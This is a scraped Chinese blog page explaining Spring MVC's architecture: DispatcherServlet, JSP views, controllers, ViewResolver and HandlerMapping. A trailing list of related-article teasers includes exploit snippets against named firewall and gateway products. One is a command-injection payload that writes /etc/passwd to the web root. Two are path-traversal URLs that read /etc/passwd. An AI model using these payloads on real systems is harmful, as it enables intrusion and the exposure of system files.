Sprint Boot 学习路线 5

news2024/11/18 19:56:14

Spring MVC

Spring MVC是Spring框架的一部分,是一个Web应用程序框架。它旨在使用Model-View-Controller(MVC)设计模式轻松构建Web应用程序。

在Spring MVC中,应用程序被分为三个主要组件:Model、View和Controller。Model表示应用程序的数据和业务逻辑,View负责生成发送到客户端Web浏览器的HTML,而Controller充当Model和View之间的中介,处理传入的HTTP请求并生成适当的响应。

Servlet

Spring servlet是一个Java类,它作为处理请求和管理Spring IoC容器的生命周期的中心点。Spring框架提供了一个称为DispatcherServlet的类,它在基于Spring的Web应用程序中充当前端控制器。当用户请求Spring Web应用程序时,DispatcherServlet负责处理请求,将责任委托给其他组件,并最终向用户返回响应。DispatcherServlet还管理Spring IoC容器的生命周期,包括创建和初始化容器,并使其bean可供应用程序中的其他组件使用。

JSP 文件

JSP (JavaServer Pages) 是使用 Java 构建动态 Web 页面的技术。

在使用 JSP 的 Spring MVC 应用程序中,MVC 模式的视图组件使用 JSP 文件来实现。JSP 文件包含应用程序的演示逻辑,并负责生成发送到客户端 Web 浏览器的 HTML。当用户请求 Spring MVC 应用程序时,充当前端控制器的 DispatcherServlet 处理请求并将生成响应的责任委托给适当的 JSP 文件。

架构

Spring MVC(Model-View-Controller)是Spring Framework的一部分,是一个Web应用程序框架。它旨在使用MVC设计模式轻松构建Web应用程序。

组件

Spring MVC(模型-视图-控制器)框架有几个关键组件,它们共同处理请求并在Web应用程序中生成适当的响应。这些组件包括:

  • DispatcherServlet:这是Spring MVC体系结构的前端控制器。它负责处理传入的请求,将责任委派给其他组件,最终向用户返回响应。
  • Controller:控制器处理传入的请求,在Model上执行任何必要的业务逻辑,然后将请求转发或重定向到适当的视图。
  • Model:Model代表应用程序的数据和业务逻辑。它可以使用JavaBeans、POJO或其他Java对象来实现。
  • View:View负责生成发送到客户端Web浏览器的HTML。在Spring MVC中,视图通常使用JSP实现,但也可以使用其他视图技术,如Thymeleaf、FreeMarker、Velocity等。
  • ViewResolver:这负责根据请求和配置的视图解析器解析视图。它将逻辑视图名称映射到实际视图,如JSP或Thymeleaf模板。
  • 表单控制器:这些是特殊类型的控制器,处理表单提交,并负责数据绑定、验证和错误处理。
  • HandlerMapping:这将请求映射到适当的控制器,负责处理请求。
  • HandlerAdapter:这用于处理请求并生成响应。

还有其他支持组件,用于管理应用程序对象的生命周期,例如Spring IoC容器和提供其他功能的不同拦截器,例如缓存和安全性。

最后

为了方便其他设备和平台的小伙伴观看往期文章:公众号搜索Let us Coding,或者扫描下方二维码,关注公众号,即可获取最新文章。

看完如果觉得有帮助,欢迎点赞、收藏关注

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1200138.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深入理解强化学习——多臂赌博机:知识总结

分类目录:《深入理解强化学习》总目录 我们在《深入理解强化学习——多臂赌博机》系列文章中介绍了几种平衡试探和开发的简单方法。 ϵ − \epsilon- ϵ−贪心方法在一小段时间内进行随机的动作选择,而UCB方法虽然采用确定的动作选择,却可以通…

同一个Unity项目打开两个Unity Editor实例

特殊情况下,同一个项目需要同时打开两个编辑器做测试,如多人在线游戏,或者有通信功能的时候就有这样的需求。同时也为了方便调试和观察日志。并且修改的是同一份代码。 命令介绍: 实现思路: 使用 mklink 命令 分别创建…

Flowable 外部表单

内置表单需要在每个节点中去配置,当如果多个节点使用同一套表单属性就要配置多次比较麻烦,修改的时候也要修改多次,外部表单可以定义一次,然后其它节点都去引用同一个表单属性。 外部表单需要定义一个.form后缀的文件。 外部表单…

快速查看Linux系统占用多的文件夹

背景 租用了一台云服务器,存储很快就满了,想看下哪部分占用多,然后进行清理 工具 使用ncdu工具 sudo apt install ncdu效果

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

【友提】2023年“思维100”编程比赛开始报名,名额有限报名抓紧

根据官方昨天发布的通知,2023年上海市“科学小公民”实践展示活动之“思维100”STEM应用能力编程活动(秋季)开始报名了,为便于大家了解,六分成长为大家整理关键信息如下。为便于叙述,该活动简称为思维100编…

【Go入门】struct类型

【Go入门】struct类型 struct Go语言中,也和C或者其他语言一样,我们可以声明新的类型,作为其它类型的属性或字段的容器。例如,我们可以创建一个自定义类型person代表一个人的实体。这个实体拥有属性:姓名和年龄。这样…

吃透 Spring 系列—AOP部分

目录 ◆ AOP 简介 - AOP的概念 - AOP思想的实现方案 - 模拟AOP的基础代码 - AOP相关概念 ◆ 基于xml配置的AOP - xml方式AOP快速入门 - xml方式AOP配置详解 - xml方式AOP原理剖析 ◆ 基于注解配置的AOP - 注解方式AOP基本使用 - 注解方式AOP配置详解 - 注解…

【C++】C++的介绍及其发展史

初识C 一、什么是C,为什么会出现C二、C的发展史三、C的重要性3.1 语言的使用广泛度3.2 在工作领域 四、C的学习路径 及 书籍推荐 一、什么是C,为什么会出现C C语言是结构化和模块化的语言,适合处理较小规模的程序。 对于复杂的问题&#xff…

网神下一代极速防火墙任意文件读取漏洞

访问漏洞url: ​​/?gpki_file_download&filename../../../../../etc/passwd漏洞证明: 文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。 免责声明:由于传播或利用此文所提供的信息、技术或方法而造…

mysql8安装和驱动jar包下载

方式一:基于docker安装 下拉镜像 docker pull mysql:8.0.21 启动镜像 docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORDhadoop -d mysql:8.0.21 启动成功后,进入容器内部拷贝配置文件,到宿主主机 docker cp mysql:/etc/mysql…

如何在 Python 中执行 MySQL 结果限制和分页查询

Python MySQL 限制结果 限制结果数量 示例 1: 获取您自己的 Python 服务器 选择 “customers” 表中的前 5 条记录: import mysql.connectormydb mysql.connector.connect(host"localhost",user"您的用户名",password"您的密码"…

边缘分布式机器学习

目录 通信机制同步Synchronous异步Asynchronous半同步/延时同步通信的拓扑结构基于迭代式MapReduce的通信(同步模式)基于MPI之AllReduce的通信(同步模式)AllReduce有很多变种 基于参数服务器的通信(多为异步&#xff0…

网康NS-ASG安全网关任意文件读取

此文件没有对身份进行校验即可下载任意文件 构造payload访问漏洞url: ​​/admin/cert_download.php?filegjxbstxdt.txt&certfile../../../../../../../../etc/passwd漏洞证明: 文笔生疏,措辞浅薄,望各位大佬不吝赐教&…

【算法练习Day46】判断子序列不同的子序列

​📝个人主页:Sherry的成长之路 🏠学习社区:Sherry的成长之路(个人社区) 📖专栏链接:练题 🎯长路漫漫浩浩,万事皆有期待 文章目录 判断子序列不同的子序列总结…

【C++笔记】二叉搜索树的模拟实现

【C笔记】二叉搜索树的模拟实现 一、二叉搜索树的概念二、二叉搜索树的模拟实现2.0、定义二叉树节点2.1、非递归接口实现2.1.1、插入2.1.2、查找2.1.3、删除 2.2、递归接口实现2.2.1、插入2.2.2、查找2.2.3、删除 三、升级为K-V模型 一、二叉搜索树的概念 二叉搜索树的概念&am…

grpc使用教程

准备 1,安装grpc go get -u google.golang.org/grpc2, 安装go语言protobuf生成器protoc-gen-go go get -u google.golang.org/protobuf/cmd/protoc-gen-go3, 通过下面连接,找到合适版本并安装protoc工具,如windows选择 protoc-3.19.5-win64.…

c++类对象内存模型(一)

C对象模型可以概括为以下2部分: 1. 语言中直接支持面向对象程序设计的部分,主要涉及如构造函数、析构函数、虚函数、继承(单继承、多继承、虚继承)、多态等等。 2. 对于各种支持的底层实现机制。在c语言中,“数据”和…

时间序列预测实战(十四)Transformer模型实现长期预测并可视化结果(附代码+数据集+原理介绍)

论文地址->Transformer官方论文地址 官方代码地址->暂时还没有找到有官方的Transformer用于时间序列预测的代码地址 个人修改地址-> Transformer模型下载地址CSDN免费 一、本文介绍 这篇文章给大家带来是Transformer在时间序列预测上的应用,这种模型最…

C++算法:包含三个字符串的最短字符串

涉及知识点 有序集合 字符串 题目 给你三个字符串 a ,b 和 c , 你的任务是找到长度 最短 的字符串,且这三个字符串都是它的 子字符串 。 如果有多个这样的字符串,请你返回 字典序最小 的一个。 请你返回满足题目要求的字符串。…